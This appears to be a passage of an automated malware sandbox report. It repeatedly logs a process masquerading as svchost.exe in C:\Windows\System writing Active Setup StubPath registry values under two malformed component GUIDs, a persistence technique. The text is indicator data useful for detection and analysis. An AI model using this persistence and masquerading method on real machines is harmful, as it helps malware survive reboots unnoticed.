Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
